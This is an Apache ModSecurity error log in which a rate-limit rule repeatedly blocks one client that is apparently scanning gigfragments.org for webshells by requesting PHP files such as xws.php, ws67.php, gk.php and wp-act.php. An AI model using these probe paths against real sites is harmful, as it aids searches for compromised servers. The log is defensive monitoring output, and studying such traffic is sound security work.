[Sun Feb 22 23:18:43.100766 2026] [:error] [pid 3103:tid 3110] [client 158.158.123.50:47967] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/global.php"] [unique_id "aZseU5fzX5hBIaQY93N2HgAAAYQ"]
[Sun Feb 22 23:18:44.198180 2026] [:error] [pid 3103:tid 3129] [client 158.158.123.50:43226] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/global.php"] [unique_id "aZseVJfzX5hBIaQY93N2IAAAAZc"]
[Sun Feb 22 23:18:44.919971 2026] [:error] [pid 2473:tid 2484] [client 158.158.123.50:23115] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxw.php"] [unique_id "aZseVHptAeV7-XzzNzgzDwAAAAc"]
[Sun Feb 22 23:18:46.175691 2026] [:error] [pid 2474:tid 2535] [client 158.158.123.50:47992] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxw.php"] [unique_id "aZseVvhvE7P5hX_xKnSvwAAAAFA"]
[Sun Feb 22 23:18:47.264235 2026] [:error] [pid 2475:tid 2555] [client 158.158.123.50:47971] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxw.php"] [unique_id "aZseVydme8TSKYpXujdnwAAAAI8"]
[Sun Feb 22 23:18:48.533726 2026] [:error] [pid 2629:tid 2675] [client 158.158.123.50:30991] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxw.php"] [unique_id "aZseWAlsXSV5M4mfwZ9Q5AAAAVE"]
[Sun Feb 22 23:18:49.415238 2026] [:error] [pid 2629:tid 2661] [client 158.158.123.50:25023] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rtx.php"] [unique_id "aZseWQlsXSV5M4mfwZ9Q5QAAAUM"]
[Sun Feb 22 23:18:50.712538 2026] [:error] [pid 2628:tid 2634] [client 158.158.123.50:23606] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rtx.php"] [unique_id "aZseWrK4woMTeUPH2nsyqQAAAQM"]
[Sun Feb 22 23:18:51.597107 2026] [:error] [pid 2628:tid 2652] [client 158.158.123.50:35418] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rtx.php"] [unique_id "aZseW7K4woMTeUPH2nsyqwAAARU"]
[Sun Feb 22 23:18:52.776853 2026] [:error] [pid 2629:tid 2676] [client 158.158.123.50:40657] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rtx.php"] [unique_id "aZseXAlsXSV5M4mfwZ9Q7AAAAVI"]
[Sun Feb 22 23:18:54.399830 2026] [:error] [pid 2473:tid 2498] [client 158.158.123.50:24987] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws67.php"] [unique_id "aZseXnptAeV7-XzzNzgzHQAAABU"]
[Sun Feb 22 23:18:55.938217 2026] [:error] [pid 2629:tid 2659] [client 158.158.123.50:55029] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws67.php"] [unique_id "aZseXwlsXSV5M4mfwZ9Q8QAAAUE"]
[Sun Feb 22 23:18:57.670954 2026] [:error] [pid 2473:tid 2480] [client 158.158.123.50:40697] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws67.php"] [unique_id "aZseYXptAeV7-XzzNzgzIwAAAAM"]
[Sun Feb 22 23:18:59.030195 2026] [:error] [pid 2475:tid 2555] [client 158.158.123.50:44960] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws67.php"] [unique_id "aZseYydme8TSKYpXujdnxgAAAI8"]
[Sun Feb 22 23:18:59.982935 2026] [:error] [pid 2474:tid 2540] [client 158.158.123.50:44867] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/users.php"] [unique_id "aZseY_hvE7P5hX_xKnSv0AAAAFM"]
[Sun Feb 22 23:19:01.034368 2026] [:error] [pid 3103:tid 3115] [client 158.158.123.50:44957] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/users.php"] [unique_id "aZseZZfzX5hBIaQY93N2MwAAAYk"]
[Sun Feb 22 23:19:02.005573 2026] [:error] [pid 2475:tid 2524] [client 158.158.123.50:51706] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/users.php"] [unique_id "aZseZidme8TSKYpXujdnzAAAAIE"]
[Sun Feb 22 23:19:02.779191 2026] [:error] [pid 3103:tid 3120] [client 158.158.123.50:35410] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/users.php"] [unique_id "aZseZpfzX5hBIaQY93N2OQAAAY4"]
[Sun Feb 22 23:19:03.653415 2026] [:error] [pid 2629:tid 2666] [client 158.158.123.50:47882] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/elp.php"] [unique_id "aZseZwlsXSV5M4mfwZ9RAQAAAUg"]
[Sun Feb 22 23:19:04.487247 2026] [:error] [pid 2628:tid 2632] [client 158.158.123.50:54887] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/elp.php"] [unique_id "aZseaLK4woMTeUPH2nsyuQAAAQE"]
[Sun Feb 22 23:19:05.087888 2026] [:error] [pid 3103:tid 3129] [client 158.158.123.50:44926] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/elp.php"] [unique_id "aZseaZfzX5hBIaQY93N2OwAAAZc"]
[Sun Feb 22 23:19:05.770709 2026] [:error] [pid 2475:tid 2563] [client 158.158.123.50:23539] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/elp.php"] [unique_id "aZseaSdme8TSKYpXujdn0gAAAJc"]
[Sun Feb 22 23:19:06.538718 2026] [:error] [pid 2628:tid 2635] [client 158.158.123.50:54878] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/init.php"] [unique_id "aZsearK4woMTeUPH2nsyvAAAAQQ"]
[Sun Feb 22 23:19:07.232898 2026] [:error] [pid 2474:tid 2510] [client 158.158.123.50:54918] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/init.php"] [unique_id "aZsea_hvE7P5hX_xKnSv1gAAAEE"]
[Sun Feb 22 23:19:08.152039 2026] [:error] [pid 2628:tid 2642] [client 158.158.123.50:24589] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/init.php"] [unique_id "aZsebLK4woMTeUPH2nsywAAAAQs"]
[Sun Feb 22 23:19:08.655832 2026] [:error] [pid 2474:tid 2520] [client 158.158.123.50:34020] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/init.php"] [unique_id "aZsebPhvE7P5hX_xKnSv2AAAAEg"]
[Sun Feb 22 23:19:09.872396 2026] [:error] [pid 2628:tid 2633] [client 158.158.123.50:49774] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aZsebbK4woMTeUPH2nsywgAAAQI"]
[Sun Feb 22 23:19:10.815782 2026] [:error] [pid 2628:tid 2652] [client 158.158.123.50:38701] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aZsebrK4woMTeUPH2nsywwAAARU"]
[Sun Feb 22 23:19:12.160176 2026] [:error] [pid 2474:tid 2528] [client 158.158.123.50:37954] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aZsecPhvE7P5hX_xKnSv4QAAAEw"]
[Sun Feb 22 23:19:13.471737 2026] [:error] [pid 2574:tid 2595] [client 158.158.123.50:49782] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aZsecckPV7h4nTf-jiTd7QAAAM4"]
[Sun Feb 22 23:19:14.716811 2026] [:error] [pid 2629:tid 2680] [client 158.158.123.50:29103] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "aZsecglsXSV5M4mfwZ9RGAAAAVY"]
[Sun Feb 22 23:19:15.760088 2026] [:error] [pid 2474:tid 2512] [client 158.158.123.50:25052] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "aZsec_hvE7P5hX_xKnSv5AAAAEM"]
[Sun Feb 22 23:19:16.945317 2026] [:error] [pid 2473:tid 2487] [client 158.158.123.50:38719] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "aZsedHptAeV7-XzzNzgzMAAAAAo"]
[Sun Feb 22 23:19:18.024650 2026] [:error] [pid 2628:tid 2638] [client 158.158.123.50:44202] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "aZsedrK4woMTeUPH2nsyzgAAAQc"]
[Sun Feb 22 23:19:20.074244 2026] [:error] [pid 2574:tid 2584] [client 158.158.123.50:38668] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aZseeMkPV7h4nTf-jiTd9AAAAMM"]
[Sun Feb 22 23:19:20.719515 2026] [:error] [pid 2473:tid 2498] [client 158.158.123.50:51729] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aZseeHptAeV7-XzzNzgzNgAAABU"]
[Sun Feb 22 23:19:21.458500 2026] [:error] [pid 2628:tid 2650] [client 158.158.123.50:25060] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aZseebK4woMTeUPH2nsy1AAAARM"]
[Sun Feb 22 23:19:22.462247 2026] [:error] [pid 2629:tid 2658] [client 158.158.123.50:24608] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aZseeglsXSV5M4mfwZ9RKwAAAUA"]
[Sun Feb 22 23:19:23.222058 2026] [:error] [pid 2628:tid 2652] [client 158.158.123.50:35410] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a4.php"] [unique_id "aZsee7K4woMTeUPH2nsy2AAAARU"]
[Sun Feb 22 23:19:23.780113 2026] [:error] [pid 3103:tid 3121] [client 158.158.123.50:25037] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a4.php"] [unique_id "aZsee5fzX5hBIaQY93N2WQAAAY8"]
[Sun Feb 22 23:19:24.509076 2026] [:error] [pid 2474:tid 2511] [client 158.158.123.50:39217] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a4.php"] [unique_id "aZsefPhvE7P5hX_xKnSv6QAAAEI"]
[Sun Feb 22 23:19:41.660112 2026] [:error] [pid 2629:tid 2675] [client 158.158.123.50:23535] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gk.php"] [unique_id "aZsejQlsXSV5M4mfwZ9RWQAAAVE"]
[Sun Feb 22 23:19:42.212859 2026] [:error] [pid 3103:tid 3128] [client 158.158.123.50:31945] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gk.php"] [unique_id "aZsejpfzX5hBIaQY93N2cgAAAZY"]
[Sun Feb 22 23:19:43.792825 2026] [:error] [pid 2574:tid 2589] [client 158.158.123.50:37980] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gk.php"] [unique_id "aZsej8kPV7h4nTf-jiTeDwAAAMg"]
[Sun Feb 22 23:19:45.304006 2026] [:error] [pid 2473:tid 2478] [client 158.158.123.50:31987] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gk.php"] [unique_id "aZsekXptAeV7-XzzNzgzTgAAAAE"]
[Sun Feb 22 23:19:47.787818 2026] [:error] [pid 2574:tid 2601] [client 158.158.123.50:44196] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-act.php"] [unique_id "aZsek8kPV7h4nTf-jiTeFgAAANQ"]
[Sun Feb 22 23:19:49.381000 2026] [:error] [pid 2629:tid 2662] [client 158.158.123.50:24623] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-act.php"] [unique_id "aZselQlsXSV5M4mfwZ9RWwAAAUQ"]
[Sun Feb 22 23:19:50.413273 2026] [:error] [pid 2574:tid 2596] [client 158.158.123.50:31976] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-act.php"] [unique_id "aZselskPV7h4nTf-jiTeGgAAAM8"]
[Sun Feb 22 23:19:52.078377 2026] [:error] [pid 3103:tid 3106] [client 158.158.123.50:23981] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-act.php"] [unique_id "aZsemJfzX5hBIaQY93N2gQAAAYA"]
[Sun Feb 22 23:19:53.118296 2026] [:error] [pid 2628:tid 2645] [client 158.158.123.50:24619] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ckk.php"] [unique_id "aZsembK4woMTeUPH2nszFwAAAQ4"]
[Sun Feb 22 23:19:53.939980 2026] [:error] [pid 2628:tid 2635] [client 158.158.123.50:54939] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ckk.php"] [unique_id "aZsembK4woMTeUPH2nszGAAAAQQ"]
[Sun Feb 22 23:19:54.896559 2026] [:error] [pid 2475:tid 2536] [client 158.158.123.50:47900] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ckk.php"] [unique_id "aZsemidme8TSKYpXujdn_QAAAIU"]
[Sun Feb 22 23:19:55.716664 2026] [:error] [pid 2475:tid 2548] [client 158.158.123.50:54916] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ckk.php"] [unique_id "aZsemydme8TSKYpXujdn_gAAAIg"]
[Sun Feb 22 23:19:56.334425 2026] [:error] [pid 2474:tid 2515] [client 158.158.123.50:47910] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww.php"] [unique_id "aZsenPhvE7P5hX_xKnSwDQAAAEY"]
[Sun Feb 22 23:19:57.107482 2026] [:error] [pid 2474:tid 2540] [client 158.158.123.50:44942] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww.php"] [unique_id "aZsenfhvE7P5hX_xKnSwDgAAAFM"]
[Sun Feb 22 23:19:57.985219 2026] [:error] [pid 2574:tid 2588] [client 158.158.123.50:44916] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww.php"] [unique_id "aZsenckPV7h4nTf-jiTeIgAAAMc"]
[Sun Feb 22 23:19:58.864271 2026] [:error] [pid 2474:tid 2522] [client 158.158.123.50:47876] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww.php"] [unique_id "aZsenvhvE7P5hX_xKnSwEAAAAEk"]
